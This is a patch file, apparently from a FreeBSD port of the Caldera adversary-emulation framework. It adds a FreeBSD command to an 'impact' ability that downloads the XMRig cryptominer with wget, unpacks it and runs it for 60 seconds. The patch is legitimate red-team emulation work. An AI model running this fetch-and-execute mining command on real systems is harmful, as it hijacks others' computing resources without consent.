blob: e01052cff30e7dc8c88376e8d4d2a7f82aa88dc0 (
plain) (
blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
--- plugins/stockpile/data/abilities/impact/46da2385-cf37-49cb-ba4b-a739c7a19de4.yml.orig 2022-09-14 02:24:22 UTC
+++ plugins/stockpile/data/abilities/impact/46da2385-cf37-49cb-ba4b-a739c7a19de4.yml
@@ -19,6 +19,19 @@
cleanup: |
rm -rf ./xmrig*;
timeout: 120
+ freebsd:
+ sh:
+ # FreeBSD should include `timeout` making this easy.
+ # We expect timeout to return a 124, which needs to then return a 0
+ # to make Caldera UI happy.
+ command: |
+ wget https://github.com/xmrig/xmrig/releases/download/v6.19.2/xmrig-6.19.2-freebsd-static-x64.tar.gz;
+ tar -xf xmrig-6.19.2-freebsd-static-x64.tar.gz;
+ timeout 60 ./xmrig-6.19.2/xmrig;
+ [ $? -eq 124 ]
+ cleanup: |
+ rm -rf ./xmrig*;
+ timeout: 120
darwin:
sh:
# MacOS does not include timeout, but can mimic the process with screen.
|